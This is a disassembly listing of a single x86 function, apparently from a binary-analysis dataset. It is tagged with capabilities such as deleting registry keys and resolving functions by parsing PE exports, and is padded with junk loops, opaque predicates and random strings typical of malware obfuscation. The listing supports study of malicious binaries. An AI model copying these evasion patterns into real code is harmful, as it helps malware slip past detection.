Function at 0x100381be
Capabilities:
Accept command line arguments
Check os version
Delete registry key
Get thread local storage value
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006225c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x980
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 4
lea ecx, [ebp - 0x72c]
call fcn.10003984
and dword [ebp - 4], 0
mov dword [ebp - 0x184], 0
jmp 0x1003820d
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 4
jge 0x1003822f
push dword [ebp - 0x184]
lea ecx, [ebp - 0x72c]
call fcn.100039fd
mov dword [eax], 0x743d837b
jmp 0x10038200
push 0
lea ecx, [ebp - 0x72c]
call fcn.100039fd
mov dword [eax], 0x20624039
mov byte [ebp - 0x94], 0
movzx eax, byte [ebp - 0x94]
test eax, eax
je 0x1003825f
push 0x2407
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x72c]
call fcn.100039e1
cmp dword [ebp + 0x10], 0
jbe 0x10038462
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10038462
push 3
lea ecx, [ebp - 0x4f0]
call fcn.10003984
mov dword [ebp - 4], 1
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x49c], 0x84dcc80f
mov dword [ebp - 0x280], 0
jmp 0x100382c2
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 3
jge 0x100382e4
push dword [ebp - 0x280]
lea ecx, [ebp - 0x4f0]
call fcn.100039fd
mov dword [eax], 0x77862fd4
jmp 0x100382b5
mov dword [ebp - 0x38], 2
jmp 0x100382f4
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x1003843f
mov dword [ebp - 0x288], 0
jmp 0x10038317
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 1
jge 0x10038333
mov eax, dword [ebp - 0x288]
mov dword [ebp + eax*4 - 0x4b4], 5
jmp 0x1003830a
mov esi, dword [ebp - 0x38]
push dword [ebp - 0x38]
lea ecx, [ebp - 0x4f0]
call fcn.100039fd
cmp esi, dword [eax]
jl 0x10038354
mov dword [ebp - 0x460], 1
jmp 0x1003835b
and dword [ebp - 0x460], 0
push dword [ebp - 0x38]
lea ecx, [ebp - 0x4f0]
call fcn.100039fd
mov ecx, dword [ebp - 0x460]
cmp ecx, dword [eax]
jg 0x1003837f
mov dword [ebp - 0x55c], 1
jmp 0x10038386
and dword [ebp - 0x55c], 0
mov dword [ebp - 0x49c], 0xdc53
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0x7bc], eax
push dword [ebp - 0x38]
lea ecx, [ebp - 0x4f0]
call fcn.100039fd
mov eax, dword [eax]
sub eax, 0x7509cb0b
cmp eax, 0x11bbb4f5
jg 0x100383c4
mov dword [ebp - 0x4a4], 1
jmp 0x100383cb
and dword [ebp - 0x4a4], 0
mov esi, dword [ebp - 0x4a4]
add esi, 0xffff
push dword [ebp - 0x38]
lea ecx, [ebp - 0x4f0]
call fcn.100039fd
sub esi, dword [eax]
add esi, 0x756a3367
je 0x1003840e
push dword [ebp - 0x38]
lea ecx, [ebp - 0x4f0]
call fcn.100039fd
cmp dword [eax], 0
je 0x1003840e
mov dword [ebp - 0x4ac], 1
jmp 0x10038415
and dword [ebp - 0x4ac], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp + eax - 0x4b4], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4b4], 0
je 0x1003843a
jmp 0x1003843f
jmp 0x100382ed
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4f0]
call fcn.100039e1
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.10031f2a
pop ecx
pop ecx
jmp 0x1003ca23
mov dword [ebp - 0x29c], 0xfffffffa
mov dword [ebp - 0x268], 7
mov dword [ebp - 0x4d0], 0x26a
mov dword [ebp - 0x650], str.qds_tpdlmahmr_cjbuq_zasyeukv_frfi_bspw_koa_vqgzztn_mbuduwsig_wtwkiz_ctzwdciyv_bad_wvpyx_mwpysoz
cmp dword [ebp - 0x4d0], 0x292
jle 0x10038545
push 0x8ef
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
and dword [ebp - 0x290], 0
jmp 0x100384bb
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x204f
jge 0x10038545
and dword [ebp - 0x298], 0
jmp 0x100384dd
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x6529
jge 0x10038540
mov eax, dword [ebp - 0x290]
xor eax, dword [ebp - 0x298]
cdq
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], edx
push dword [ebp - 0x56c]
push dword [ebp - 0x570]
lea ecx, [ebp - 0x968]
call fcn.10001a94
pop ecx
pop ecx
mov dword [ebp - 0x564], eax
mov ecx, dword [ebp - 0x564]
call fcn.100037ed
push eax
call fcn.10048785
pop ecx
lea ecx, [ebp - 0x968]
call fcn.100037e3
jmp 0x100384d0
jmp 0x100384ae
mov dword [ebp - 0x68], 0xe21afa9b
mov dword [ebp - 4], 2
cmp dword [ebp - 0x4d0], 0x105
jge 0x1003856b
push dword [ebp - 0x650]
call fcn.10048785
pop ecx
jmp 0x10038587
or dword [ebp - 4], 0xffffffff
jmp 0x10038591
mov dword [ebp - 0x3e0], 0
mov dword [ebp - 0x4b0], 0x9e71b35
mov dword [ebp - 0x670], 0xffffffff
mov dword [ebp - 0x778], 0xfffffffd
mov dword [ebp - 0x780], 1
mov dword [ebp - 0x788], 0x97f51ef9
mov dword [ebp - 0x74c], 0x48aab564
mov dword [ebp - 0x754], 1
mov dword [ebp - 0x3e8], 0xffffffff
mov dword [ebp - 0x75c], 0xc0dcee05
mov dword [ebp - 0x264], 0
jmp 0x1003860e
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 1
jge 0x1003862a
mov eax, dword [ebp - 0x264]
mov dword [ebp + eax*4 - 0x7c4], 0xfffffff9
jmp 0x10038601
mov dword [ebp - 0x2d8], 0x22ce
mov dword [ebp - 0x678], str.akgtsj_swcgnhwy_cyojjyks_ibyfi_ijl_ufqgbz_oczpog_bpiu_aknyzbg_ddeoxgnx_vdowyvw_esay
cmp dword [ebp - 0x2d8], 0x246f
jle 0x100386ee
and dword [ebp - 0x1fc], 0
jmp 0x10038664
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x2d98
jge 0x100386ee
and dword [ebp - 0x14c], 0
jmp 0x10038686
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x6e39
jge 0x100386e9
mov eax, dword [ebp - 0x1fc]
xor eax, dword [ebp - 0x14c]
cdq
mov dword [ebp - 0x57c], eax
mov dword [ebp - 0x578], edx
push dword [ebp - 0x578]
push dword [ebp - 0x57c]
lea ecx, [ebp - 0x950]
call fcn.10001a94
pop ecx
pop ecx
mov dword [ebp - 0x658], eax
mov ecx, dword [ebp - 0x658]
call fcn.100037ed
push eax
call fcn.10048785
pop ecx
lea ecx, [ebp - 0x950]
call fcn.100037e3
jmp 0x10038679
jmp 0x10038657
cmp dword [ebp - 0x68], 0
je 0x10038706
cmp dword [ebp - 0x68], 0
je 0x10038706
mov dword [ebp - 0x2c0], 1
jmp 0x1003870d
and dword [ebp - 0x2c0], 0
mov eax, dword [ebp - 0x68]
imul eax, dword [ebp - 0x2c0]
sub eax, dword [ebp - 0x68]
imul eax, eax, 0xffffffff
cmp eax, dword [ebp - 0x68]
jne 0x1003872e
mov dword [ebp - 0x494], 1
jmp 0x10038735
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x268], eax
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x268]
add eax, dword [ebp - 0x494]
sub eax, dword [ebp - 0x68]
mov dword [ebp - 0x668], eax
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp - 0x660]
cmp eax, dword [ebp - 0x668]
jle 0x10038789
mov dword [ebp - 0x468], 1
jmp 0x10038790
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jne 0x100387b1
cmp dword [ebp - 0x268], 0
jne 0x100387b1
and dword [ebp - 0x2c8], 0
jmp 0x100387bb
mov dword [ebp - 0x2c8], 1
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0x713e19f2
jne 0x100387df
mov dword [ebp - 0x2d0], 1
jmp 0x100387e6
and dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x670], eax
mov dword [ebp - 4], 4
cmp dword [ebp - 0x2d8], 0x1fee
jge 0x1003881d
push dword [ebp - 0x678]
call fcn.10048785
pop ecx
jmp 0x10038839
or dword [ebp - 4], 0xffffffff
jmp 0x10038843
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
push 2
lea ecx, [ebp - 0x4c4]
call fcn.10003984
mov dword [ebp - 4], 6
mov dword [ebp - 0x2f0], 0xbe02
mov dword [ebp - 0xf4], 0x4e26c12a
mov dword [ebp - 0x154], 0
jmp 0x10038891
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 2
jge 0x100388b3
push dword [ebp - 0x154]
lea ecx, [ebp - 0x4c4]
call fcn.100039fd
mov dword [eax], 0xdf75dcec
jmp 0x10038884
push 0
lea ecx, [ebp - 0x4c4]
call fcn.100039fd
and dword [eax], 0
jmp 0x100388e9
push 0
lea ecx, [ebp - 0x4c4]
call fcn.100039fd
mov dword [ebp - 0x2e0], eax
mov eax, dword [ebp - 0x2e0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x2e0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x4c4]
call fcn.100039fd
cmp dword [eax], 0xffffffe6
jge 0x10038a4e
mov dword [ebp - 0x204], 2
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x204], 0
je 0x10038999
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x7b8], eax
cmp dword [ebp - 0x204], 0x1023dcdf
jl 0x10038942
mov dword [ebp - 0x470], 1
jmp 0x10038949
and dword [ebp - 0x470], 0
push 0
lea ecx, [ebp - 0x4c4]
call fcn.100039fd
mov ecx, dword [ebp - 0x470]
cmp ecx, dword [eax]
jne 0x1003896c
mov dword [ebp - 0x2e8], 1
jmp 0x10038973
and dword [ebp - 0x2e8], 0
push 0
lea ecx, [ebp - 0x4c4]
call fcn.100039fd
mov eax, dword [eax]
imul eax, dword [ebp - 0x2e8]
test eax, eax
je 0x10038999
mov dword [ebp - 0x3f0], 1
jmp 0x100389a0
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x3f0]
sub eax, dword [ebp - 0x2f0]
je 0x100389c0
push 0
lea ecx, [ebp - 0x4c4]
call fcn.100039fd
cmp dword [eax], 0
jne 0x100389d2
cmp dword [ebp - 0x2f0], 0
jne 0x100389d2
and dword [ebp - 0x4cc], 0
jmp 0x100389dc
mov dword [ebp - 0x4cc], 1
cmp dword [ebp - 0x4cc], 0xfffffff9
ja 0x100389f1
mov dword [ebp - 0x2f8], 1
jmp 0x100389f8
and dword [ebp - 0x2f8], 0
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf4], 0
jmp 0x10038a1d
mov eax, dword [ebp - 0xf4]
dec eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0xffffffe3
je 0x10038a49
mov byte [ebp - 0x71], 0
movzx eax, byte [ebp - 0x71]
test eax, eax
je 0x10038a47
push 0xc28
push 0x8a5
push 0x1c1f
call dword [sym.imp.KERNEL32.dll_HeapCreate]
jmp 0x10038a10
jmp 0x100388c5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c4]
call fcn.100039e1
cmp dword [ebp + 0x10], 0
jne 0x1003ba5a
push 3
lea ecx, [ebp - 0x744]
call fcn.10003984
mov dword [ebp - 4], 7
mov dword [ebp - 0xc8], 0xe2236432
push 3
lea ecx, [ebp - 0x76c]
call fcn.10003984
mov byte [ebp - 4], 8
mov dword [ebp - 0x1c], 0
jmp 0x10038aa6
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10038ac2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x744]
call fcn.100039fd
mov dword [eax], 0xb9b55bb2
jmp 0x10038a9f
mov dword [ebp - 0x1c], 0
jmp 0x10038ad2
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10038aee
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x76c]
call fcn.100039fd
mov dword [eax], 0x5830af36
jmp 0x10038acb
mov dword [ebp - 0x1c], 0
jmp 0x10038afe
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x10038b14
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x408], 0xf97a265d
jmp 0x10038af7
mov dword [ebp - 0xc8], 2
jmp 0x10038b2d
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jl 0x10038eb9
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x7b4], 0xffffffff
mov dword [ebp - 0x750], 0xffffffff
mov dword [ebp - 0x790], 2
mov dword [ebp - 0x758], 0
mov dword [ebp - 0x798], 0xfffffffe
mov dword [ebp - 0x760], 0x45ad33d2
mov dword [ebp - 0x15c], 0
jmp 0x10038b96
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jge 0x10038bb2
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x80c], 0xabfd090d
jmp 0x10038b89
mov dword [ebp - 0x40], 0
jmp 0x10038bc2
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jg 0x10038eb4
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0x300], 0xfffffff6
mov dword [ebp - 0x7a0], 1
mov dword [ebp - 0x3f8], 0x4cca
mov dword [ebp - 0x680], str.yufk_avvol_tddjibc_kkzv_xbd_lds_vciusbe_kbdahvgjh_oaipgyidj_phigtco_fhoiuyv_oghexwp
cmp dword [ebp - 0x3f8], 0x4ce8
jle 0x10038cb9
and dword [ebp - 0x20c], 0
jmp 0x10038c24
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x3ae7
jge 0x10038cb9
and dword [ebp - 0x25c], 0
jmp 0x10038c4a
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x4f92
jge 0x10038cb4
and dword [ebp - 0x164], 0
jmp 0x10038c6c
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0x24ee
jge 0x10038cb2
mov ecx, dword [ebp - 0x25c]
imul ecx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x20c]
shl eax, cl
cdq
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], edx
push dword [ebp - 0x584]
push dword [ebp - 0x588]
mov ecx, 0x1007bad8
call fcn.1000380d
jmp 0x10038c5f
jmp 0x10038c3d
jmp 0x10038c17
mov dword [ebp - 0x770], 1
mov byte [ebp - 4], 9
cmp dword [ebp - 0x3f8], 0x4928
jge 0x10038ce3
mov edx, dword [ebp - 0x680]
mov ecx, 0x1007bad8
call fcn.10005a21
jmp 0x10038cff
mov dword [ebp - 4], 8
jmp 0x10038d0f
mov dword [ebp - 0x7a8], 1
mov dword [ebp - 0x7b0], 0xdd33
mov dword [ebp - 0x16c], 0
jmp 0x10038d3c
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 4
jge 0x10038d58
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x990], 0xe72ee72
jmp 0x10038d2f
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x77c], eax
mov eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0xf0]
je 0x10038d7e
mov dword [ebp - 0x400], 1
jmp 0x10038d85
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x784], eax
cmp dword [ebp - 0x40], 0
jne 0x10038da9
cmp dword [ebp - 0xf0], 0
jne 0x10038da9
and dword [ebp - 0x2a8], 0
jmp 0x10038db3
mov dword [ebp - 0x2a8], 1
push dword [ebp - 0x40]
lea ecx, [ebp - 0x744]
call fcn.100039fd
mov ecx, dword [ebp - 0x2a8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0
jne 0x10038df7
push 0xfffffffffffffffe
pop eax
test eax, eax
jne 0x10038df7
mov eax, 0x73df
test eax, eax
jne 0x10038df7
and dword [ebp - 0x478], 0
jmp 0x10038e01
mov dword [ebp - 0x478], 1
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x478], eax
jne 0x10038e18
mov dword [ebp - 0x308], 1
jmp 0x10038e1f
and dword [ebp - 0x308], 0
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x308]
cmp dword [ebp - 0x400], eax
jne 0x10038e3c
mov dword [ebp - 0x310], 1
jmp 0x10038e43
and dword [ebp - 0x310], 0
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0x310]
jle 0x10038e63
cmp dword [ebp - 0x40], 0
je 0x10038e63
mov dword [ebp - 0x4b8], 1
jmp 0x10038e6a
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x4b8], eax
jl 0x10038e81
mov dword [ebp - 0x318], 1
jmp 0x10038e88
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0xf0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x408]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x408], eax
jmp 0x10038bbb
jmp 0x10038b20
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x76c]
call fcn.100039e1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x744]
call fcn.100039e1
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1002c38c
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x70], 8
mov dword [ebp - 0x20], 0xfb871c7b
push 2
lea ecx, [ebp - 0x6a0]
call fcn.10003984
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x6fc], 0xbc9b
mov dword [ebp - 0x270], 0
jmp 0x10038f2d
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 2
jge 0x10038f4f
push dword [ebp - 0x270]
lea ecx, [ebp - 0x6a0]
call fcn.100039fd
mov dword [eax], 0xfffffffa
jmp 0x10038f20
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
neg eax
je 0x100391b6
mov dword [ebp - 0x2a4], 0x452a
mov dword [ebp - 0x320], 0x531a
mov dword [ebp - 0x688], str.fxww_yvr_lhjnsee_hqzmvkose_cwdan_bmpxdrnkp
cmp dword [ebp - 0x320], 0x5457
jle 0x10039001
and dword [ebp - 0x174], 0
jmp 0x10038fa0
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x36c5
jge 0x10039001
and dword [ebp - 0x214], 0
jmp 0x10038fc2
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x34ff
jge 0x10038fff
mov eax, dword [ebp - 0x174]
add eax, dword [ebp - 0x214]
cdq
mov dword [ebp - 0x594], eax
mov dword [ebp - 0x590], edx
push dword [ebp - 0x590]
push dword [ebp - 0x594]
mov ecx, 0x1007bad8
call fcn.1000380d
jmp 0x10038fb5
jmp 0x10038f93
mov dword [ebp - 0x70], 1
jmp 0x10039011
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jl 0x10039046
mov dword [ebp - 0x20], 1
jmp 0x10039027
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x10039044
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6a0]
call fcn.100039fd
cmp dword [eax], 0
je 0x10039042
jmp 0x10039044
jmp 0x10039020
jmp 0x1003900a
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x320], 0x5050
jge 0x10039066
mov edx, dword [ebp - 0x688]
mov ecx, 0x1007bad8
call fcn.10005a21
jmp 0x10039082
mov dword [ebp - 4], 0xb
jmp 0x10039092
push 0
lea ecx, [ebp - 0x6a0]
call fcn.100039fd
cmp dword [eax], 0xfffe
jb 0x100390b3
mov dword [ebp - 0x480], 1
jmp 0x100390ba
and dword [ebp - 0x480], 0
cmp dword [ebp - 0x480], 4
jae 0x100390cf
mov dword [ebp - 0x328], 1
jmp 0x100390d6
and dword [ebp - 0x328], 0
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0x328], eax
jl 0x100390f0
mov dword [ebp - 0x410], 1
jmp 0x100390f7
and dword [ebp - 0x410], 0
cmp dword [ebp - 0x410], 0
jne 0x1003910c
mov dword [ebp - 0x330], 1
jmp 0x10039113
and dword [ebp - 0x330], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x330], eax
jge 0x1003912a
mov dword [ebp - 0x690], 1
jmp 0x10039131
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x2a4]
mov dword [ebp - 0x748], eax
cmp dword [ebp - 0x2a4], 0xf29c8dda
jne 0x10039155
mov dword [ebp - 0x4d4], 1
jmp 0x1003915c
and dword [ebp - 0x4d4], 0
mov esi, dword [ebp - 0x20]
sub esi, dword [ebp - 0x4d4]
push 0
lea ecx, [ebp - 0x6a0]
call fcn.100039fd
cmp dword [eax], esi
jg 0x10039182
mov dword [ebp - 0x338], 1
jmp 0x10039189
and dword [ebp - 0x338], 0
cmp dword [ebp - 0x338], 0xffff
jb 0x100391a1
mov dword [ebp - 0x418], 1
jmp 0x100391a8
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x6fc], eax
jmp 0x100391e7
mov dword [ebp - 0x6cc], 0x1434a938
mov dword [ebp - 0x20], 0x12
jmp 0x100391d0
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xfffffffe
je 0x100391e1
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x6cc], eax
jmp 0x100391c9
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x93], 0
movzx eax, byte [ebp - 0x93]
test eax, eax
je 0x10039312
mov dword [ebp - 0x340], 0x25ad
mov dword [ebp - 0x534], str.ofgl_ggl_fud_vkanjysa_tsjoocz_fne_ezmjqhem_inhuavkix_rcz_xuted_twxbrhzo
cmp dword [ebp - 0x340], 0x272c
jle 0x100392c2
and dword [ebp - 0x17c], 0
jmp 0x10039237
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x2806
jge 0x100392c2
and dword [ebp - 0x278], 0
jmp 0x10039259
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0xed2
jge 0x100392bd
mov eax, dword [ebp - 0x17c]
imul eax, dword [ebp - 0x278]
cdq
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], edx
push dword [ebp - 0x59c]
push dword [ebp - 0x5a0]
lea ecx, [ebp - 0x890]
call fcn.10001a94
pop ecx
pop ecx
mov dword [ebp - 0x634], eax
mov ecx, dword [ebp - 0x634]
call fcn.100037ed
push eax
call fcn.10048785
pop ecx
lea ecx, [ebp - 0x890]
call fcn.100037e3
jmp 0x1003924c
jmp 0x1003922a
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x340], 0x2326
jge 0x100392e6
push dword [ebp - 0x534]
call fcn.10048785
pop ecx
jmp 0x10039302
mov dword [ebp - 4], 0xb
jmp 0x10039312
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6a0]
call fcn.100039e1
mov dword [ebp - 0x78], 0x7730f94f
push 3
lea ecx, [ebp - 0xd8]
call fcn.10003984
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x34], 0xb236728a
mov dword [ebp - 0xf8], 0x1808adc7
mov dword [ebp - 0x4dc], 0
mov dword [ebp - 0xcc], 0xffffffff
mov dword [ebp - 0x140], 0
jmp 0x1003937a
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 3
jge 0x1003939c
push dword [ebp - 0x140]
lea ecx, [ebp - 0xd8]
call fcn.100039fd
mov dword [eax], 0xf495e3b3
jmp 0x1003936d
mov esi, dword [ebp - 0x78]
push 1
lea ecx, [ebp - 0xd8]
call fcn.100039fd
cmp dword [eax], esi
jge 0x100393bc
mov dword [ebp - 0x488], 1
jmp 0x100393c3
and dword [ebp - 0x488], 0
push 1
lea ecx, [ebp - 0xd8]
call fcn.100039fd
mov ecx, dword [ebp - 0x488]
cmp ecx, dword [eax]
jl 0x100393e6
mov dword [ebp - 0x348], 1
jmp 0x100393ed
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x348], eax
jl 0x10039404
mov dword [ebp - 0x420], 1
jmp 0x1003940b
and dword [ebp - 0x420], 0
mov esi, dword [ebp - 0x78]
imul esi, dword [ebp - 0x420]
add esi, 0x7d0
push 0
lea ecx, [ebp - 0xd8]
call fcn.100039fd
sub esi, dword [eax]
mov dword [ebp - 0x34], esi
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x78]
je 0x10039441
mov dword [ebp - 0x350], 1
jmp 0x10039448
and dword [ebp - 0x350], 0
push 1
lea ecx, [ebp - 0xd8]
call fcn.100039fd
mov ecx, dword [ebp - 0x350]
cmp ecx, dword [eax]
jle 0x1003946b
mov dword [ebp - 0x4c8], 1
jmp 0x10039472
and dword [ebp - 0x4c8], 0
mov esi, dword [ebp - 0x4c8]
sub esi, 0x1ca7a35e
push 0
lea ecx, [ebp - 0xd8]
call fcn.100039fd
cmp esi, dword [eax]
jl 0x1003949b
mov dword [ebp - 0x358], 1
jmp 0x100394a2
and dword [ebp - 0x358], 0
push 0
lea ecx, [ebp - 0xd8]
call fcn.100039fd
mov esi, dword [ebp - 0x358]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0xd8]
call fcn.100039fd
cmp dword [eax], esi
jl 0x100394d5
mov dword [ebp - 0x428], 1
jmp 0x100394dc
and dword [ebp - 0x428], 0
cmp dword [ebp - 0x428], 0xcc86
je 0x100394f4
mov dword [ebp - 0x360], 1
jmp 0x100394fb
and dword [ebp - 0x360], 0
push 0
lea ecx, [ebp - 0xd8]
call fcn.100039fd
mov ecx, dword [ebp - 0x360]
cmp ecx, dword [eax]
jne 0x10039523
xor eax, eax
inc eax
je 0x10039523
mov dword [ebp - 0x490], 1
jmp 0x1003952a
and dword [ebp - 0x490], 0
push 1
lea ecx, [ebp - 0xd8]
call fcn.100039fd
mov ecx, dword [ebp - 0x490]
mov dword [eax], ecx
cmp dword [ebp - 0x78], 8
jle 0x10039560
push 2
lea ecx, [ebp - 0xd8]
call fcn.100039fd
cmp dword [eax], 0
jne 0x10039560
and dword [ebp - 0x368], 0
jmp 0x1003956a
mov dword [ebp - 0x368], 1
mov eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x368]
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0xf61949f
je 0x10039591
mov dword [ebp - 0x540], 1
jmp 0x10039598
and dword [ebp - 0x540], 0
cmp dword [ebp - 0xf8], 0
jne 0x100395ad
mov dword [ebp - 0x430], 1
jmp 0x100395b4
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x430]
je 0x10039809
mov dword [ebp - 0x28c], 0x4f618e18
mov byte [ebp - 0x79], 0
mov dword [ebp - 0x370], 0x45c4
